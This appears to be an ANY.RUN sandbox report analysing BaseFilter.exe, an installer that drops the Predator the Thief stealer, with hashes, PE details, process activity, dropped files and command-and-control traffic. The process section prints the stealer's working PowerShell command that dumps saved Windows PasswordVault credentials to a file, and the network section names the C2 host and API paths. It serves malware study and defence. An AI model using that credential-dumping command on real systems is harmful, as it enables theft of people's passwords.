Malware analysis BaseFilter.exe Malicious activity | ANY.RUN

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File name:	BaseFilter.exe
Full analysis:	https://app.any.run/tasks/f7da0814-cbc5-4b6e-8e8f-506e13fa8856
Verdict:	Malicious activity
Threats:	Predator, the Thief, is an information stealer, meaning that malware steals data from infected systems. This virus can access the camera and spy on victims, steal passwords and login information, and retrieve payment data from cryptocurrency wallets. Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns. Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. Malware Trends Tracker >>>
Analysis date:	March 14, 2019, 19:42:12
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	trojan stealer predator
Indicators:
MIME:	application/x-dosexec
File info:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5:	9D7D9E83368312117C83FB0A782447FD
SHA1:	406AC75A86871433A9E8186184316A45ACF2CB3B
SHA256:	2C3C6CDF7B026E6F82D8EC488EA419D03724CB0E77692A5C02EA9C2A48645CD9
SSDEEP:	6144:6MfnH8AAaV55SjYkvsTlKnfOdOXvSjSN+4r6:rn4ynSdshKnf9XvSu8L

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: off
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (68.0.3440.106)
Google Update Helper (1.3.33.17)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 61.0.2 (x86 en-US) (61.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Application was dropped or rewritten from another process
  - BaseFilter.exe (PID: 3132)
  - PredatorTheStealer.exe (PID: 3328)
- Loads dropped or rewritten executable
  - BaseFilter.exe (PID: 3040)
- Stealing of credential data
  - PredatorTheStealer.exe (PID: 3328)
- PREDATOR was detected
  - PredatorTheStealer.exe (PID: 3328)
- Connects to CnC server
  - PredatorTheStealer.exe (PID: 3328)
SUSPICIOUS
- Reads the cookies of Mozilla Firefox
  - PredatorTheStealer.exe (PID: 3328)
- Reads the cookies of Google Chrome
  - PredatorTheStealer.exe (PID: 3328)
- Loads DLL from Mozilla Firefox
  - PredatorTheStealer.exe (PID: 3328)
- Creates files in the user directory
  - BaseFilter.exe (PID: 3040)
  - PredatorTheStealer.exe (PID: 3328)
  - powershell.exe (PID: 2344)
- Executable content was dropped or overwritten
  - BaseFilter.exe (PID: 3040)
- Executes PowerShell scripts
  - PredatorTheStealer.exe (PID: 3328)
INFO
No info indicators.

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.exe	\|	Win32 Executable MS Visual C++ (generic) (67.4)
.dll	\|	Win32 Dynamic Link Library (generic) (14.2)
.exe	\|	Win32 Executable (generic) (9.7)
.exe	\|	Generic Win/DOS Executable (4.3)
.exe	\|	DOS Executable Generic (4.3)

EXIF

EXE

MachineType:	Intel 386 or later, and compatibles
TimeStamp:	2016:07:25 02:55:47+02:00
PEType:	PE32
LinkerVersion:	6
CodeSize:	24064
InitializedDataSize:	118784
UninitializedDataSize:	1024
EntryPoint:	0x322b
OSVersion:	4
ImageVersion:	6
SubsystemVersion:	4
Subsystem:	Windows GUI
FileVersionNumber:	7.0.0.0
ProductVersionNumber:	7.0.0.0
FileFlagsMask:	0x0000
FileFlags:	(none)
FileOS:	Win32
ObjectFileType:	Executable application
FileSubtype:	-
LanguageCode:	English (U.S.)
CharacterSet:	ASCII
FileDescription:	BaseFilter
FileVersion:	7.0.0.0
LegalCopyright:	-

Summary

Architecture:	IMAGE_FILE_MACHINE_I386
Subsystem:	IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date:	25-Jul-2016 00:55:47
Detected languages:	English - United States
FileDescription:	BaseFilter
FileVersion:	7.0.0.0
LegalCopyright:	-

DOS Header

Magic number:	MZ
Bytes on last page of file:	0x0090
Pages in file:	0x0003
Relocations:	0x0000
Size of header:	0x0004
Min extra paragraphs:	0x0000
Max extra paragraphs:	0xFFFF
Initial SS value:	0x0000
Initial SP value:	0x00B8
Checksum:	0x0000
Initial IP value:	0x0000
Initial CS value:	0x0000
Overlay number:	0x0000
OEM identifier:	0x0000
OEM information:	0x0000
Address of NE header:	0x000000D8

PE Headers

Signature:	PE
Machine:	IMAGE_FILE_MACHINE_I386
Number of sections:	5
Time date stamp:	25-Jul-2016 00:55:47
Pointer to Symbol Table:	0x00000000
Number of symbols:	0
Size of Optional Header:	0x00E0
Characteristics:	IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE_IMAGE IMAGE_FILE_LINE_NUMS_STRIPPED IMAGE_FILE_LOCAL_SYMS_STRIPPED IMAGE_FILE_RELOCS_STRIPPED

Sections

Name	Virtual Address	Virtual Size	Raw Size	Charateristics	Entropy
.text	0x00001000	0x00005DC5	0x00005E00	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ	6.47111
.rdata	0x00007000	0x00001246	0x00001400	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ	5.0004
.data	0x00009000	0x0001A818	0x00000400	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE	5.2206
.ndata	0x00024000	0x00008000	0x00000000	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE	0
.rsrc	0x0002C000	0x0006A300	0x0006A400	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ	5.00198

Resources

Title	Entropy	Size	Codepage	Language	Type
1	5.29829	829	UNKNOWN	English - United States	RT_MANIFEST
2	4.89378	67624	UNKNOWN	English - United States	RT_ICON
3	5.20069	38056	UNKNOWN	English - United States	RT_ICON
4	5.22035	21640	UNKNOWN	English - United States	RT_ICON
5	5.04291	16936	UNKNOWN	English - United States	RT_ICON
6	5.24024	9640	UNKNOWN	English - United States	RT_ICON
7	5.10737	4264	UNKNOWN	English - United States	RT_ICON
8	5.2611	2440	UNKNOWN	English - United States	RT_ICON
9	4.97591	1128	UNKNOWN	English - United States	RT_ICON
103	3.01226	132	UNKNOWN	English - United States	RT_GROUP_ICON

Imports


ADVAPI32.dll
COMCTL32.dll
GDI32.dll
KERNEL32.dll
SHELL32.dll
USER32.dll
ole32.dll

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

2344

powershell.exe -Command "[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault; $b = 'Browser: Internet Explorer | Edge'; $a = ($vault.RetrieveAll() | % { $_.RetrievePassword(); $_ } | SELECT UserName, Password, Resource | Format-List Resource, UserName, Password) | Out-String; $c = $b + $a; $c = $c.Replace('Resource :', 'Url:').Replace('UserName :', 'Login:').Replace('Password :', 'Password:'); $c > "C:\Users\admin\AppData\Roaming\ptsts6q7w8w7t7q7w8w7t7\General\IeEdgePasswords.txt""

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

—

PredatorTheStealer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

3040

"C:\Users\admin\Desktop\BaseFilter.exe"

C:\Users\admin\Desktop\BaseFilter.exe

explorer.exe

User:

admin

Integrity Level:

MEDIUM

Description:

BaseFilter

Exit code:

Version:

7.0.0.0

Modules

Images
c:\users\admin\desktop\basefilter.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll

3132

"C:\Users\admin\AppData\Roaming\1337\BaseFilter.exe"

C:\Users\admin\AppData\Roaming\1337\BaseFilter.exe

—

BaseFilter.exe

User:

admin

Integrity Level:

MEDIUM

Exit code:

3221225781

Modules

Images
c:\users\admin\appdata\roaming\1337\basefilter.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll

3328

"C:\Users\admin\AppData\Roaming\1337\PredatorTheStealer.exe"

C:\Users\admin\AppData\Roaming\1337\PredatorTheStealer.exe

BaseFilter.exe

User:

admin

Integrity Level:

MEDIUM

Exit code:

Modules

Images
c:\users\admin\appdata\roaming\1337\predatorthestealer.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

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Total events

617

Read events

540

Write events

Delete events

Modification events


(PID) Process:	(3040) BaseFilter.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0
(PID) Process:	(3040) BaseFilter.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 1
(PID) Process:	(3328) PredatorTheStealer.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\PredatorTheStealer_RASAPI32
Operation:	write	Name:	EnableFileTracing
Value: 0
(PID) Process:	(3328) PredatorTheStealer.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\PredatorTheStealer_RASAPI32
Operation:	write	Name:	EnableConsoleTracing
Value: 0
(PID) Process:	(3328) PredatorTheStealer.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\PredatorTheStealer_RASAPI32
Operation:	write	Name:	FileTracingMask
Value: 4294901760
(PID) Process:	(3328) PredatorTheStealer.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\PredatorTheStealer_RASAPI32
Operation:	write	Name:	ConsoleTracingMask
Value: 4294901760
(PID) Process:	(3328) PredatorTheStealer.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\PredatorTheStealer_RASAPI32
Operation:	write	Name:	MaxFileSize
Value: 1048576
(PID) Process:	(3328) PredatorTheStealer.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\PredatorTheStealer_RASAPI32
Operation:	write	Name:	FileDirectory
Value: %windir%\tracing
(PID) Process:	(3328) PredatorTheStealer.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\PredatorTheStealer_RASMANCS
Operation:	write	Name:	EnableFileTracing
Value: 0
(PID) Process:	(3328) PredatorTheStealer.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\PredatorTheStealer_RASMANCS
Operation:	write	Name:	EnableConsoleTracing
Value: 0

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
3040	BaseFilter.exe	C:\Users\admin\AppData\Local\Temp\nss908F.tmp		—
		MD5:—	SHA256:—
2344	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YAC7ZP6NI128HKYRHO9Y.temp		—
		MD5:—	SHA256:—
3040	BaseFilter.exe	C:\Users\admin\AppData\Roaming\1337\BaseFilter.exe		executable
		MD5:—	SHA256:—
3328	PredatorTheStealer.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@j946104.myjino[1].txt		text
		MD5:—	SHA256:—
3328	PredatorTheStealer.exe	C:\Users\admin\AppData\Roaming\ptsts6q7w8w7t7q7w8w7t7\History\IeEdge.txt		text
		MD5:—	SHA256:—
3328	PredatorTheStealer.exe	C:\Users\admin\AppData\Roaming\ptsts6q7w8w7t7q7w8w7t7\History\Mozilla.txt		text
		MD5:—	SHA256:—
3328	PredatorTheStealer.exe	C:\Users\admin\AppData\Roaming\ptsts6q7w8w7t7q7w8w7t7\Cookies\Chrome_0.log		text
		MD5:—	SHA256:—
2344	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF19a1b4.TMP		binary
		MD5:—	SHA256:—
3328	PredatorTheStealer.exe	C:\Users\admin\AppData\Roaming\ptsts6q7w8w7t7q7w8w7t7\History\Chrome.txt		text
		MD5:—	SHA256:—
3328	PredatorTheStealer.exe	C:\Users\admin\AppData\Roaming\ptsts6q7w8w7t7q7w8w7t7\Screenshot.jpeg		image
		MD5:—	SHA256:—

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
3328	PredatorTheStealer.exe	POST	200	81.177.165.22:80	http://j946104.myjino.ru/api/conf.get	RU	text	33 b	malicious
3328	PredatorTheStealer.exe	POST	200	81.177.165.22:80	http://j946104.myjino.ru/api/info.get	RU	text	59 b	malicious
3328	PredatorTheStealer.exe	POST	200	81.177.165.22:80	http://j946104.myjino.ru/api/gate.get?p1=2&p2=6&p3=0&p4=2&p5=0&p6=0&p7=0	RU	binary	1 b	malicious
3328	PredatorTheStealer.exe	POST	200	81.177.165.22:80	http://j946104.myjino.ru/api/download.get	RU	binary	1 b	malicious

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
3328	PredatorTheStealer.exe	81.177.165.22:80	j946104.myjino.ru	JSC RTComm.RU	RU	malicious

DNS requests

Domain	IP	Reputation
j946104.myjino.ru	81.177.165.22	malicious

Threats

PID	Process	Class	Message
3328	PredatorTheStealer.exe	A Network Trojan was detected	MALWARE [PTsecurity] Trojan.Azden
3328	PredatorTheStealer.exe	A Network Trojan was detected	MALWARE [PTsecurity] Win32/Spy.Agent.PLQ (Predator Stealer) CnC Checkin

2 ETPRO signatures available at the full report

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No debug info

General Info

BaseFilter.exe

9D7D9E83368312117C83FB0A782447FD

406AC75A86871433A9E8186184316A45ACF2CB3B

2C3C6CDF7B026E6F82D8EC488EA419D03724CB0E77692A5C02EA9C2A48645CD9

6144:6MfnH8AAaV55SjYkvsTlKnfOdOXvSjSN+4r6:rn4ynSdshKnf9XvSu8L

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Application was dropped or rewritten from another process

Loads dropped or rewritten executable

Stealing of credential data

PREDATOR was detected

Connects to CnC server

SUSPICIOUS

Reads the cookies of Mozilla Firefox

Reads the cookies of Google Chrome

Loads DLL from Mozilla Firefox

Creates files in the user directory

Executable content was dropped or overwritten

Executes PowerShell scripts

INFO

Malware configuration

Static information

TRiD

EXIF

EXE

Summary

DOS Header

PE Headers

Sections

Resources

Imports

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings